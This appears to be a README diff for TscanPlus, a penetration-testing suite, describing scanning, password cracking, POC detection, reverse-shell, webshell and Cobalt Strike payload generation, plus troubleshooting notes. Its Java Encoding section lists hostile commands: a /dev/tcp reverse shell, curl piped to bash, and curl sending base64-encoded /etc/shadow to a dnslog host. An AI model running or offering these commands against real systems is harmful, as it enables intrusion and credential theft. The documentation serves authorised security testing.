Management + +The project management feature integrates various functions into a workflow. Users can design project tasks based on their usage scenarios, seamlessly incorporating "Asset Mapping," "Subdomain Enumeration," "IP/Port Scanning," "Password Cracking," "POC Detection," "URL Scanning," "Directory Scanning," "UrlFinder," and other functionalities. The results of project execution will be stored in the corresponding project database, facilitating subsequent queries and usage. + +**【Task Configuration】** + +After adding target assets and configuring task parameters, TscanPlus will execute the corresponding operations in the background and display the results in the relevant function tab. + +1. **Sequential Execution of Tasks**: + - "Asset Mapping" → "Subdomain Enumeration" → "IP/Port Scanning" → "Password Cracking" → "POC Detection" → "URL Scanning" → "Directory Scanning" → "UrlFinder". + - By default, assets discovered in previous steps will be used as input for subsequent tasks. + +2. **Asset Mapping**: + - If assets discovered by the asset mapping process may not belong to your target range, enable the “Scan and POC Detection for Mapped Assets” option. However, be cautious, as space mapping might involve assets beyond your authorized scope. + +3. **URL Detection**: + - Enabling the URL scanning function will trigger URL fingerprint detection for all web applications discovered from domain names, IPs, URLs, and space mapping. + +4. **POC Matching**: + - If you do not select "POC Fingerprint Matching," all detected assets will be tested against all POCs. + +5. **Port and Service Cracking**: + - Enabling "Crack All Ports and Services" will initiate cracking for all matched ports and services. If not enabled, only 8 common services will be cracked. + +6. **Directory Scanning**: + - When using the directory scanning feature: + - If you select **"URL List Only"**, only the URLs in the list will undergo directory scanning. + - If you select **"All Discovered URLs"**, all URLs discovered through IP, domain, and other tasks will undergo directory scanning. Be aware that if there are many URLs, this may slow down the process. + +![image-20241225162433149](images/image-20241225162433149.png) + +**【Project Management】** + +In the project management section, users can view an intuitive project overview, including details such as the total number of projects, URL assets, IP assets, total vulnerabilities, and sensitive information. Users can also perform operations such as editing, re-executing, stopping, or deleting any project. + +![image-20241225162448784](images/image-20241225162448784.png) + +**【Results Display】** + +All scan results will be displayed in the corresponding functional tab for easy access and review. + +
+ +#### 4. Port Scanning + +This function allows for live host detection, port scanning, service identification, and banner grabbing. It can recognize over 100 types of services and protocols. + +**【Task Configuration】** + +- **IP Format**: + - The target IPs can be separated by line breaks and support the following formats: + - `192.168.1.1` + - `192.168.1.1/24` (CIDR notation for network range) + - `192.168.1.1-255` (range from `192.168.1.1` to `192.168.1.255`) + - `192.168.1.1,192.168.1.3` (comma-separated list) + +- **IP Exclusion**: + - You can exclude specific IPs by adding `!` before the IP address or network range: + - `!192.168.1.1/26` (excludes this IP range) + +- **Task Configuration Options**: + - **Port Strategy**: Choose the port range or specific ports to scan. + - **Ping Scan**: Enable or disable ping (ICMP) scanning to check if the host is up. + - **Password Cracking Synchronization**: Optionally synchronize the password cracking task. + - **POC Detection Synchronization**: Optionally synchronize POC (Proof of Concept) vulnerability detection. + - **Proxy**: Enable proxy usage during the scan if needed. + +Once the configuration is done, you can start the scan to gather port and service information. + +**【Scan Results】** + +The scan results are displayed as follows, showing service-related protocols, banners, status codes, titles, etc. If a product that may have a vulnerability is detected in the banner, it will be highlighted in red. + +By selecting a specific row, you can right-click to perform individual POC testing, weak password testing, directory enumeration, etc. You can also save data individually or save all results. + +![image-20241225162609861](images/image-20241225162609861.png) + +To facilitate use in certain scenarios, servers with open port 445 in internal networks will automatically undergo MS17010 vulnerability exploration. This process minimizes the impact on the server while attempting to detect potential vulnerabilities. + +
+ +**【Feature Integration】** + +Within any functionality, you can link it with other features. For example, when performing an IP scan, you can simultaneously enable password cracking and POC detection. If a matching port service is found, password cracking will automatically be initiated; if a matching fingerprint is found, POC detection will be triggered. Simply check these two options, and the results will be displayed in the relevant module. + + +
+ +https://github.com/TideSec/TscanPlus/assets/46297163/2a88ced9-1612-4015-aa5e-0bb0e243525a + + + +**【Advanced Configuration】** + +In the advanced configuration, you can set the proxy address. When global proxy is enabled, all functions will be routed through the proxy. Both HTTP(S) and SOCKS5 proxies are supported, and authentication is also available. You can also set global cookies or User-Agent (UA), among other settings. + +Proxy formats: + +- **HTTP Proxy Format**: `http://10.10.10.10:8081` or `http://user:pass@10.10.10.10:8081` + +- **HTTPS Proxy Format**: `https://10.10.10.10:8081` or `https://user:pass@10.10.10.10:8081` + +- **SOCKS5 Proxy Format**: `socks5://10.10.10.10:8081` or `socks5://user:pass@10.10.10.10:8081` + + +
+ + +#### 5. URL Detection + +TscanPlus currently integrates more than 26,000 fingerprints. After multiple optimizations, it has significantly improved the concurrency efficiency of asset discovery. It only takes 8-10 minutes to perform fingerprint recognition on 10,000 web systems. In terms of efficiency and fingerprint coverage, it is considered to be one of the highest available tools. + +**【Task Configuration】** + +URL detection is mainly used for bulk detection of web addresses. The input format is one URL per line, with the prefix being `http` or `https`: +``` +http://www.abc.com +http://192.168.1.1:8080 +https://www.abc.com:8443 +``` + +Similarly, you can choose the number of threads, whether to enable POC detection, whether to enable the proxy, and once configured, you can start the scan. + +**【Custom Fingerprints】** + +Since version v2.1, TscanPlus supports custom fingerprints, including both passive and active fingerprints. + +When active fingerprint detection is enabled, you can edit the `FingerDir.yaml` file in the configuration directory to add active fingerprint rules. Each added active fingerprint will send an additional HTTP request during fingerprint recognition. If many active fingerprints are added, it can affect the efficiency of fingerprint recognition, so it is recommended to add them with caution. + +
+ +In the configuration directory, there is a `Finger.json` file, which serves as the rule base for passive fingerprint recognition. The fingerprint library uses the Wappalyzer format. To make custom fingerprints more practical, two additional keys, `headerstr` and `titlestr`, are added. These allow for matching header and title strings. If a custom fingerprint overlaps with a built-in fingerprint, the custom fingerprint will take priority. After adding custom fingerprints, be sure to test them before using them in production. + +
+ +**【Scan Results】** + +The scan results are displayed as follows, showing the web site's title, banner, status code, middleware, WAF detection, etc. If a potentially vulnerable product is identified in the banner, it will be highlighted in red. + +By selecting a specific line, the right-click menu allows you to run POC testing, directory enumeration, etc., for that particular address. You can also save individual entries or save all results. + + +
+ +#### 6. Domain Enumeration + +TscanPlus integrates multiple features for domain enumeration. It supports dictionary-based enumeration and querying via multiple free interfaces. + +**【Task Configuration】** + +Domain enumeration is network-dependent, so when dealing with multiple domains, it processes them one by one. By default, it uses a dictionary of 10,000 entries and 50 threads. In optimal network conditions, it takes about 12 seconds. + +Enter one domain per line without the `http` prefix, such as: +``` +tidesec.com +tidesec.com.cn +``` + +You can choose the number of threads (recommended range: 50-100), whether to enable POC detection, and whether to enable fingerprint recognition. Once configured, you can start the domain enumeration task. + +**【Scan Results】** + +The scan results are displayed as follows, showing subdomains, resolved IPs, open ports, website titles, domain sources, etc. If a potentially vulnerable product is identified in the banner, it will be highlighted in red. + +By selecting a specific line or multiple lines, the right-click menu allows you to run POC testing, directory enumeration, etc., for that particular address. You can also save individual entries or save all results. + + +
+ +#### 7. POC Detection + +TscanPlus has built-in POCs and categorizes them into levels. Level 1 POCs are the most common and frequently used, Level 2 POCs are more general, and Level 3 POCs are less common. + +**【Task Configuration】** + +URLs can be imported from a txt file or entered manually. The URLs must have the HTTP/HTTPS prefix. + +One important option is "POC Fingerprint Matching." This option is enabled by default. When enabled, POCs are matched based on fingerprint information. If no match is found, no further testing is done. When disabled, all selected POCs will be tested regardless of the fingerprint match. + +You can specify external POC files or POC folders by entering the absolute path, such as `C:\POC`. However, imported POCs will not be fingerprint-matched, and the system will run all imported POCs by default. + +External POCs support Xray or similar formats. For details on writing POCs, refer to: +- [Xray POC documentation](https://poc.xray.cool/) +- [Xray POC generation guide](https://phith0n.github.io/xray-poc-generation/) + +**【Custom POC】** + +POC detection can directly call external POC tools like Nuclei, Xray, Afrog, etc., and allows for custom POCs for each tool. + +When the "POC Fingerprint Matching" feature is enabled, the program will perform a fuzzy match of external POCs based on the target fingerprint, followed by POC detection. This significantly reduces the number of POC packets sent and shortens the detection time. + +
+ +Nuclei POCs are by default downloaded to the `nuclei-templates` directory in the user folder. The program will automatically recognize this directory, so you do not need to specify the Nuclei POCs when using the "POC Fingerprint Matching" feature in Nuclei. + +However, Afrog POCs are embedded in the program by default. If you want to use the "POC Fingerprint Matching" feature in Afrog, you need to download the POC files from [Afrog GitHub Repository](https://github.com/zan8in/afrog/tree/main/pocs/afrog-pocs) and specify the directory where the POCs are stored within the program. + +The fingerprint matching POC rules have been optimized and improved to minimize the number of POC detections while preventing false negatives. A POC detection level filter has been added to effectively avoid the large amount of info-level messages generated during default scanning by Nuclei and Afrog tools. + +
+ +The custom POC feature of TscanPlus (Wuying) is also well-developed and is compatible with both Xray POC 1.0 and Fscan POC formats. + +When writing custom POCs, you can use the following tool for testing: [Xray POC Generation Tool](https://github.com/phith0n/xray-poc-generation). + +**【Scan Results】** + +The scan results will show the vulnerable sites, POC names, Banners, status codes, titles, and more. After selecting a row, you can view the Request and Response packets. + +At the bottom, it will display the number of live targets, successful POC detections, the status of the detection queue, and the time spent. + + +
+ +#### **8. Password Cracking** + +TscanPlus has built-in support for weak password cracking for 34 common services. This allows administrators to check for weak passwords in internal networks. To improve detection efficiency, TscanPlus selects and streamlines the username and password dictionaries for each service. The supported services include: SSH, RDP, SMB, MySQL, SQL Server, Oracle, MongoDB, Redis, PostgreSQL, MemCached, Elasticsearch, FTP, Telnet, WinRM, VNC, SVN, Tomcat, WebLogic, JBoss, Zookeeper, Socks5, SNMP, WMI, LDAP, LDAPS, SMTP, POP3, IMAP, SMTP_SSL, IMAP_SSL, POP3_SSL, RouterOS, WebBasicAuth, WebDAV, CobaltStrike, and others. + +**【Task Configuration】** + +Select the service to be cracked from the left panel, then input the target address. When configuring the task on the right, you can choose to use the built-in dictionaries or import your own, enable fingerprint recognition, configure Oracle listener settings, and execute commands, among other options. + +
+ +**【Scan Results】** + +The scan results will show the services with weak passwords, accounts, passwords, banners, executed commands, and time taken. + +At the bottom, the number of live targets, successful crack count, detection queue status, and time spent will be displayed. The cracking log will also be shown in real-time. + +
+ +In TscanPlus v2.6 and later versions, a new feature for password cracking result connection validation has been added. This allows for connection checks on the cracked weak passwords and supports over a dozen common protocols. + +
+ +
+ +#### **9. Space Mapping** + +To make information collection quicker and more convenient, TscanPlus integrates multiple network space mapping interfaces, including nine mainstream space exploration APIs: **Hunter** (from Eagle Map), Fofa, Shodan, 360 Quake, Zoomeye (Zhong Kui's Eye), Censys, ThreatBook (from WeiStep Online), BinaryEdge, VirusTotal, etc. These APIs allow searches based on domain names, IP addresses, ports, applications, services, and more. The results from these network space exploration APIs will be deduplicated and integrated. + +**【Task Configuration】** + +First, configure the key information. If you don't have a key, you can click the "API Application" link to apply for one. Afterward, click "Enable" to use the corresponding API. + +On the main interface, you can select fields like domain name, IP address, port, application, service, body, certificate, ICON, etc., and input search criteria. TscanPlus will deduplicate and integrate all results. + +For the Fofa API, a custom API address feature has been added. When setting the Fofa API Key, if you need to use a custom API address, the format should be `email:key||url`, where the double vertical bars (`||`) separate the key and the URL. For example: `9*****@qq.com:3f21a408*********6e3fa8078||http://fofaapi.com`. After adding the key, you can perform a key validity check to test if data can be fetched. + +
+ +**【Query Results】** + +The query results are displayed as follows, showing information such as URL, IP, domain name, port, protocol, title, fingerprint, application, Whois, ICP filing, ISP, OS, region, last updated time, and the source of the API. + +You can select one or more rows, right-click the menu to perform individual POC tests, directory enumeration, port scanning, etc. You can also save data either individually or all at once. + +
+ +Custom syntax is supported; however, since each space mapping engine uses different syntax, custom syntax is generally not interchangeable. + +
+ +#### 10. Encoding and Decoding + +The encoding and decoding module supports a total of 36 types, including encoding and decoding, hash calculation, encryption and decryption, national cryptography algorithms, data formatting, and other transformations. Among these, there are 8 types for encoding and decoding, 13 types for hash calculation, 9 types for encryption and decryption, 3 types for national cryptography algorithms, 9 types for data formatting, and 2 types for other transformations. + +**【Task Configuration】** + +1. Simply select the corresponding encoding option from the left sidebar of the "Encoding and Decoding" function page, and it will be added to the right-side tab. + +2. Each tab supports multiple encodings stacked together and allows encoding order adjustments. The output of the previous encoding will serve as the input for the next encoding. + +3. For each encoding, you can choose whether to enable encryption or decryption, and configure input and output formats. Common formats like RAW, Hex, and base64 are supported. + +4. "Wuying" supports multiple tab switching. You can configure multiple tabs according to your needs to compare results. + +5. The system can remember the current encoding configuration, so next time you run the software, you can directly use the previous configuration. + +
+ +**【Output Results】** + +**1. Encoding and Decoding**: Base64, Base32, URL encoding/decoding, ASCII, various base conversions, string and base conversions, HTML encoding/decoding, Unicode encoding/decoding, one-click encoding/decoding, etc. + +
+ +The one-click encoding/decoding feature allows you to encode and decode the input characters and output the results. + +
+ +**2. Hash Calculation**: MD5, HmacMD5, SM3, HmacSM3, SHA1, HmacSHA1, SHA2-224, SHA2-256, SHA2-384, SHA2-512, HmacSHA2, SHA3-224, SHA3-256, SHA3-384, SHA3-512, HmacSHA3, NTLM, HmacNTLM, one-click hash, etc. + +
+ +The one-click hash feature calculates all hash values for the input characters and outputs the results. + +
+ +**3. Encryption and Decryption**: AES encryption/decryption, RSA encryption/decryption, SM2 encryption/decryption, SM4 encryption/decryption, DES encryption/decryption, 3DES encryption/decryption, Xor encryption/decryption, RC4 encryption/decryption, Rabbit encryption/decryption, automatic RSA key generation, automatic SM2 key generation, etc. + +
+ +
+ +**4. National Cryptography Algorithms**: SM2 elliptic curve asymmetric encryption algorithm, SM4 block symmetric encryption algorithm, SM3 cryptographic hash algorithm, and support for automatic SM2 key generation. + +
+ +**5. Data Formatting**: JSON formatting and compression, XML formatting and compression, IP address and integer conversion, String.fromCharCode, Unix timestamp conversion, remove duplicate lines from text, letter case conversion, generate random strings, string reversal. + +
+ +
+ +**6. Other**: JWT parsing and weak password detection, one-click decryption of all OA (Office Automation). + +
+ +#### 11. Light Weaponry Library + +##### 【Directory Enumeration】 + +Directory enumeration mainly targets web sites to enumerate directories. It supports dictionary mode, fuzzing mode, and live detection. The default method is HEAD, but GET is also supported. + +**【Task Configuration】** + +By default, the dictionary uses the built-in `dirsearch` dictionary, which contains approximately 9000 entries. It also supports extensions for asp, aspx, jsp, php, py, and more. When TideFuzz is enabled, it recursively fuzzes based on the enumeration results. + +In fuzzing mode, you need to input fuzz metacharacters, which will generate a dictionary based on the fuzz length. However, be cautious, as the fuzz dictionary cannot be too large. If the dictionary exceeds 100,000 lines, a prompt will appear stating that the dictionary is too large and cannot be scanned. + +Additional configuration options include setting timeout duration, retry attempts on timeout, interval time, URL concurrency, and directory thread count. You can also filter by file extensions and status codes. + +**【Scan Results】** + +The scan results will display the discovered URLs, status codes, body lengths, and more. You can select a specific entry to view the request and response packets. + +At the bottom, it will show the number of alive targets, the number of successful enumerations, the detection queue status, the time taken, and other details. + +
+ +##### 【UrlFinder】 + +The **URLFinder** feature is designed for fast and comprehensive extraction of target information. It is used to analyze the JavaScript and URLs within a page to uncover hidden sensitive information or unauthorized API endpoints. + +**【Task Configuration】** + +After entering the target address, you can select a mode: +- **Normal Mode**: By default, it crawls single-layer links. +- **Deep Mode**: Crawls links up to three layers deep, which takes relatively longer. + +You can set the number of link layers to probe. The maximum number is limited to prevent unrestricted crawling. + +The **"Only Show This Site"** option filters the URLs and JS results to show only relevant information from the current website. Additional configurations include the ability to set thread counts, and filter by file extensions, status codes, and keywords. + +**【Scan Results】** + +The scan results will display discovered URLs, status codes, body lengths, etc. If sensitive information is found, it will be shown in the **"Title || Sensitive Information"** column. + +At the bottom, the scan results will show the number of alive targets, the number of successful enumerations, the detection queue status, time taken, and other related information. + +- **Filter Rules**: + 1. For pages that return the same length and status code, if they appear more than 5 times, they will no longer be displayed. + 2. Additional features such as keyword filtering, length filtering, and custom suffix options are supported. + +
+ +##### **【Host Collision】** + +**Host Collision** works by modifying the Host field to send packets. This feature allows for IP and domain collision matching, which enables access to systems that are only accessible through specific hosts. With the increasing use of reverse proxy access via load balancers like Nginx, some internal and external domains might use the same load balancer for reverse proxying. This means that by modifying the Host header, access to internal systems might be possible. + +
+ +--- + +##### **【40x Bypass】** + +During penetration testing, it’s common to encounter assets that return 40x status codes (like 403, 404, etc.). Some of these pages can be bypassed using different techniques such as varying HTTP methods, referer manipulation, proxy IPs, modifying HTTP headers, or changing the case of characters in the URL. The **40x Bypass** detection feature integrates 8 common bypass methods and allows you to modify dictionary files under the `config/4xxBypass` directory. + +
+ +--- + +##### **【JWT Decoding and Cracking】** + +This feature allows for the encoding and decoding of JWTs, as well as cracking their secret keys. It supports a wide range of algorithms such as HS256, HS384, HS512, RS256, RS384, RS512, ES256, EDDSA, etc. It includes a built-in secret key dictionary with over 100,000 entries, and can crack keys in just 2 seconds. + +
+ +--- + +##### **【IP Ownership Query】** + +This feature automatically extracts and queries the physical address of assets like IP addresses and subdomains. It is integrated into IP scanning, URL probing, and subdomain enumeration to add the capability of IP ownership querying. + +
+ +
+ +--- + +##### **【Proxy Pool Functionality】** + +The **Proxy Pool** feature includes the following capabilities: +- Adding proxies +- Automatically crawling for proxies +- Switching proxy scenarios +- Proxy validation +- Proxy Listener management + +When the **Proxy Listener** is enabled, it works with different proxy switching modes, polling, and cycling through all available proxies in the pool. These proxies can then be provided to TscanPlus or other external applications. + +For detailed usage, you can refer to the documentation [【无影v2.6.5—代理池管理功能上线】](https://github.com/TideSec/TscanPlus/blob/main/%E6%97%A0%E5%BD%B1v2.6.5%E2%80%94%E4%BB%A3%E7%90%86%E6%B1%A0%E7%AE%A1%E7%90%86%E5%8A%9F%E8%83%BD%E4%B8%8A%E7%BA%BF.md) + +
+ +#### **12. Red Team Commands** + +TscanPlus includes commonly used Red Team commands, including: +- **26 types** of Windows internal network commands (credential gathering, persistence, lateral movement) +- **18 types** of Linux internal network commands +- **31 download commands** +- 85 reverse shell commands +- 21 MSF (Metasploit) generation commands +- CS (Cobalt Strike) evasion commands + +These commands can be auto-generated based on shell type, operating system, and listener type. + +--- + +##### **【Red Team Commands】** + +- **Windows Internal Network**: Includes 26 types of commands for credential gathering, persistence, and lateral movement. +- **Linux Internal Network**: Includes 18 types of internal network commands. + +
+ +--- + +##### **【Download Commands】** + +TscanPlus has 31 built-in download commands that cover most of the methods used in internal network penetration testing. After configuring the URL address and target file name, the corresponding code can be automatically generated. + +
+ +--- + +##### **【Webshell】** + +TscanPlus includes a variety of basic one-liner web shells in different programming languages and some evasion web shells (e.g., IceScorpion, AntSword, Godzilla), for security personnel to refer to. These web shells can assist in penetration testing and web exploitation scenarios. + +
+ +##### **【Java Encoding】** + +Sometimes, using `Runtime.getRuntime().exec()` to execute a command payload can fail, especially when exploiting WebShells, deserialization vulnerabilities, or other attack vectors. + +This failure often happens due to the way redirection and pipe characters are handled in the context of the process being launched. For example, `ls > dir_listing` should list the current directory’s contents into a file called `dir_listing` when executed in a shell. However, within the `exec()` function’s context, this command may be misinterpreted as a command to list the directory `>` and `dir_listing`. + +In other cases, arguments containing spaces might be broken by the `StringTokenizer` class, which splits the string at spaces. For example, `ls "My Directory"` might get split and interpreted as `ls '"My' 'Directory"'`. + +By utilizing **Base64 encoding**, the **Java Command Encoder** can help mitigate these issues. It allows for better handling of pipes and redirection by invoking Bash or PowerShell again and ensures that parameters with spaces are properly processed. + +**Common Command List**: + +``` +bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 +ping `whoami`.key.dnslog.cn +curl http://www.google.com/bash.txt|bash +curl http://key.dnslog.cn/?r=`whoami` +curl http://key.dnslog.cn/?r=`cat /etc/shadow|base64` +curl http://key.dnslog.cn/?r=$(cat /etc/passwd|base64|tr '\n' '-') +curl http://www.google.com/key.txt +curl http://www.google.com/key.txt -O +curl http://www.google.com/key.txt -o key.txt +``` + +
+ +##### **【Reverse Shell】** + +The Reverse Shell feature allows users to configure the target IP/Port, listener type, shell type, and whether to encode the command. Users can choose the desired command, and TscanPlus will automatically generate the corresponding reverse shell code. Common types of reverse shells include: +- **TCP Reverse Shell** +- **HTTP Reverse Shell** +- **DNS Reverse Shell** +- **PowerShell Reverse Shell**, etc. + +This feature helps penetration testers establish a remote connection back to the attacker's machine for controlling the target system. + +
+ +##### **【Cobalt Strike (CS) Payload】** + +The CS (Cobalt Strike) payload feature allows users to input the CS Payload URL and automatically generate the corresponding code for Cobalt Strike. As a popular red team tool, Cobalt Strike supports various payload delivery methods, including reverse shell and Beacon. This feature helps generate code that meets the requirements for Cobalt Strike payload loading. + +
+ +#### 13. Auxiliary Tools + +TscanPlus also includes several useful auxiliary tools that help improve the efficiency and accuracy of penetration testing. + +##### **【Asset Sorting】** + +The Asset Sorting feature helps users extract and organize valuable information from large volumes of asset data. With a single click, users can quickly extract the main domain names, subdomains, IP addresses, URLs, and other data from assets. It also supports extracting results from Tscan/Fscan scans and offers two sorting modes: **Collapse Mode** and **C-Class Sorting**. + +- **Collapse Mode**: This mode filters out assets with port numbers (e.g., `ip:port` or `domain:port`), leaving only subdomains and IP addresses that do not specify a port. +- **C-Class Sorting**: This mode categorizes IPs into C-Class networks, making it easier for users to group and manage IPs efficiently. + +The Asset Sorting feature significantly simplifies the process of asset management and information extraction, enabling penetration testers to quickly identify potential attack targets. + +
+ +##### **【Password Generation】** + +TscanPlus offers three methods for generating passwords: **Social Engineering Dictionary Generation**, **Organizational Mode**, and **Enumeration Mode**. These methods allow users to generate more targeted dictionary files based on their specific needs. + +
+ +##### **【Password Query】** + +TscanPlus includes a built-in database of **10,733 common default usernames and passwords** for various devices and products. Users can directly query and export these credentials for quick reference. + +
+ +##### **【Privilege Escalation Assistance】** + +This feature queries unpatched vulnerabilities based on system information (`systeminfo`) and returns details about the vulnerabilities, including Microsoft vulnerability IDs, patch numbers, vulnerability descriptions, affected systems, and more. + +
+ +##### **【Antivirus Software Query】** + +Based on the `tasklist` information from Windows, TscanPlus matches running antivirus processes using a built-in set of **1,042 antivirus detection rules**. The tool returns details such as the process name, process ID, antivirus software name, and more. + +
+ + +#### 14. Other Features + +##### **【Export Function】** + +1. A new **Export to Excel** feature has been added across all modules. By default, the exported file will be saved in the program’s root directory. + +2. In all modules, users can sort and filter the content of all columns. + +3. In all modules, multiple items can be selected or all items can be selected for batch operations, such as running POC tests, password cracking, directory enumeration, etc. + +4. During the execution of the software, all discovered assets and threats will be saved in real-time. The saved data will be stored in the `result.txt` file located in the program’s root directory. + +
+ +
+ +##### **【Database Management】** + +All data can be stored persistently and used across sessions. The default **database file** will be generated under the `config` folder. + +
+ +##### **【Configuration Management】** + +Configuration parameters for each function are written to configuration files. Once parameters are modified, executing the respective functionality once will save the changes to the configuration file, and there is no need to modify them again the next time. + +
+ +Custom red team commands, online commands, default passwords, etc., can be added and saved to the configuration file. + + +
+ +##### **【Theme Settings】** + +The system now includes a theme setting feature. By opening the "Advanced Configuration" on any page, users can configure the system theme and choose between dark or light modes. (This feature is based on the Wails framework, which works well on macOS, but there may be issues when applied on certain Windows systems.) + +
+ +Comparison of dark and light themes on macOS. + +
+ +##### **【Log Function】** + +A logging feature has been added. The latest program logs are displayed in real-time on the right side of the About page. The log file is stored by default in the "Advanced Configuration" → "Export Directory" folder, and the file name is `TscanPlus-Result.txt`. + +
+ +### Software Download + +GitHub Download: [https://github.com/TideSec/TscanPlus/releases](https://github.com/TideSec/TscanPlus/releases) +Knowledge Planet: QR code below (for more and updated versions) + +Some features are still being improved (such as the subdomain module, custom POC functionality, etc.), and the source code is not yet available. Currently, the Windows/macOS/Linux versions of TscanPlus are packaged and available for download. + +The versions compiled are all for the x64_AMD architecture. If you need the x86 or ARM versions, they can be downloaded from the Knowledge Planet. + +**Future updates and bug feedback will be promptly shared on the Knowledge Planet.** + +
+ + +### Acknowledgments + +During the development of this tool, many well-known Go detection tools and fingerprint recognition software were referenced. We would like to express our gratitude to the following contributors: + +- YHY's **ChYing** project: [https://github.com/yhy0/ChYing](https://github.com/yhy0/ChYing) +- qwtd's **Slack** project: [https://github.com/qiwentaidi/Slack](https://github.com/qiwentaidi/Slack) +- Shadow1ng's **fscan** project: [https://github.com/shadow1ng/fscan](https://github.com/shadow1ng/fscan) +- zhzyker's **dismap** project: [https://github.com/zhzyker/dismap](https://github.com/zhzyker/dismap) +- **ServerScan** project: [https://github.com/Adminisme/ServerScan](https://github.com/Adminisme/ServerScan) + +### FAQ + +#### **1. Key Authentication Issues** + +1.1. Key authentication requires an internet connection (to poc.tidesec.com) only during the initial verification. Once verified successfully, no further internet connection is needed for re-validation. +1.2. Each key can only be used with one client. The authentication primarily relies on hardware identifiers such as network card serial numbers. Therefore, replacing hardware could result in authentication failure. +1.3. The purpose of key authentication is to facilitate the use and collection of POCs in a mutually beneficial cycle. "From the public, for the public." We encourage those who have POCs to submit them. + +#### **2. macOS Installation Issues** + +You may encounter several issues when executing the tool on macOS, such as "xxx is damaged and cannot be opened," "Apple cannot verify if xxx contains malicious software," or "xxx cannot be opened because it comes from an unidentified developer." The following articles can resolve about 95% of these issues: + +- [Fixing the "Application is damaged and cannot be opened" error on macOS](https://sysin.org/blog/macos-if-crashes-when-opening/) + +A common issue on macOS is the app crashing or quitting unexpectedly. To resolve this, execute the following command: + +```bash +sudo xattr -r -d com.apple.quarantine TscanPlus_darwin_amd64_v1.0.app +``` + +If the problem persists, try this command: + +```bash +sudo codesign --sign - --force --deep TscanPlus_darwin_amd64_v1.0.app +``` + +#### **3. Windows Dependency on WebView2 Environment** + +**(1) System Lacks WebView2 Environment** + +Programs packaged with Wails depend on [Microsoft WebView2](https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download) when running on Windows. + +By default, Windows 11 and Windows Server 2012 will have WebView2 installed, but some older machines (such as Windows Server 2008) may not. If the WebView2 environment is missing, the program will prompt you to download and install WebView2. + +You can manually download WebView2 from here: +[Microsoft WebView2 Download](https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download) + + **(2) WebView2 Installed, But Error During Execution** + +If you encounter the error message **"The WebView2 process crashed and the application needs to be restarted"** after execution: + +
+ +In this case, you need to uninstall the current WebView2 and then reinstall it. You can download the installer here: +[Microsoft WebView2 Download](https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/?form=MA13LH#download) + + **(3) Unable to Uninstall and Reinstall WebView2** + +If WebView2 cannot be uninstalled, you can use a small tool called **【Windows11轻松设置](https://github.com/TideSec/TscanPlus/blob/main/soft/Windows11_Tools.7z)**. + +
+ +
+ +Using this tool, you can completely uninstall WebView2 and then reinstall it. + + **(4) Still Cannot Open After Reinstallation** + +If, after reinstalling WebView2, the program still fails to open with no error message, the issue could be a bug resulting from an interaction between WebView2, certain versions of Windows, and the Wails `go-webview2` library. To resolve this, we have packaged an improved version specifically addressing the WebView2 issue. Please try using this version. + +
+ +
+ +#### **4. Linux Version Running Errors** + +The Linux version (AMD64 and Arm64) is compiled based on Kali 2023/2024 and has been tested to be compatible with Kali 2023 and later versions, as well as Ubuntu 22.04. + +**Additionally, the Linux version needs to be executed in a desktop environment. It cannot run in a remote SSH session.** + +For systems earlier than Ubuntu 22.04 and some Kali 2024.03, the following errors may occur: + +**(1) Error: `libc.so.6: version 'GLIBC_2.34' not found`** + +In this case, you need to install the `libc6` library. You can refer to this guide: [CSDN Article on Installing GLIBC](https://blog.csdn.net/huazhang_001/article/details/128828999). + +**(2) Error: `libwebkit2gtk-4.0.so.37: cannot open shared object file`** + +In this case, you need to install the `libwebkit2gtk` library. On Ubuntu, try executing: + +```bash +apt-get install libwebkit2gtk-4.0-dev +``` + +If you encounter an error: + +``` +apt install libwebkit2gtk-4.0-dev +Error: Unable to locate package libwebkit2gtk-4.0-dev +Error: Couldn't find any package by glob 'libwebkit2gtk-4.0-dev' +``` + +You need to edit the sources list by running: + +```bash +vi /etc/apt/sources.list +``` + +In the `/etc/apt/sources.list` file, add the following line: + +``` +deb http://gb.archive.ubuntu.com/ubuntu jammy main +``` + +Then, run the following commands: + +```bash +apt update +apt install libwebkit2gtk-4.0-dev +``` + +If you get an error like: + +``` +Warning: GPG error: http://gb.archive.ubuntu.com/ubuntu jammy InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 871920D1991BC93C +``` + +You need to execute: + +```bash +apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 871920D1991BC93C +``` + +(Note: Replace the key if necessary.) + +Then, run: + +```bash +apt update +``` + +If running `apt install libwebkit2gtk-4.0-dev` results in an error like: + +``` +libturbojpeg0 : conflicts: libjpeg-turbo8 but 2.1.2-0ubuntu1 is to be installed +E: Error, pkgProblemResolver ::Resolve generated breaks, this may be caused by held packages. +``` + +You need to run the following commands: + +```bash +apt-get remove libjpeg-turbo8 +apt-get remove libturbojpeg0 +``` + +After that, execute `apt install libwebkit2gtk-4.0-dev` again. Once the installation is successful, you should be able to open the program normally. + +After successfully installing `libwebkit2gtk-4.0-dev`, run the command: + +```bash +apt list | grep libwebkit2gtk +``` + +You should see that the `libwebkit2gtk-4.0-dev` library has been successfully installed. + +
+ +However, library dependency issues in Linux can be tricky. It’s recommended to use Kali 2023 or later versions, as well as Ubuntu 22.04. + +#### 5. Antivirus False Positives on Windows + +The program is developed using Go, and the Windows version is packed with UPX. As a result, some antivirus software may flag it as a virus. If this happens, please perform a manual investigation and add an exception for the program. + +#### 6. Unable to See the Top Tab Bar After Launch + +A "Fullscreen" button has been added to the welcome page to make it easier for Windows users to maximize the application with a single click. + +In some cases, after opening the program, users may only see the middle part of TscanPlus, and the top tab bar might not be visible. This issue is usually caused by low screen resolution or scaling settings. To resolve this, adjust the resolution to at least 1440x1080 and set the scaling to 100%. + +#### 7. Reporting Bugs + +For any other software bugs, please report them on the GitHub Issues page or the Knowledge Planet. These will be addressed and fixed in future updates. + + +### Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=TideSec/TscanPlus&type=Date)](https://star-history.com/#TideSec/TscanPlus&Date) + diff --git a/SYNC_NOTE.md b/SYNC_NOTE.md new file mode 100644 index 0000000..d3c31bb --- /dev/null +++ b/SYNC_NOTE.md @@ -0,0 +1,12 @@ +# Sync note + +This Gitea repository is a **history-free default-branch snapshot** of: +https://github.com/TideSec/TscanPlus + +## Layout +- `main`: README / docs / skill files (lightweight) +- **Release assets**: large binaries (`TscanPlus-v3.3.8`, 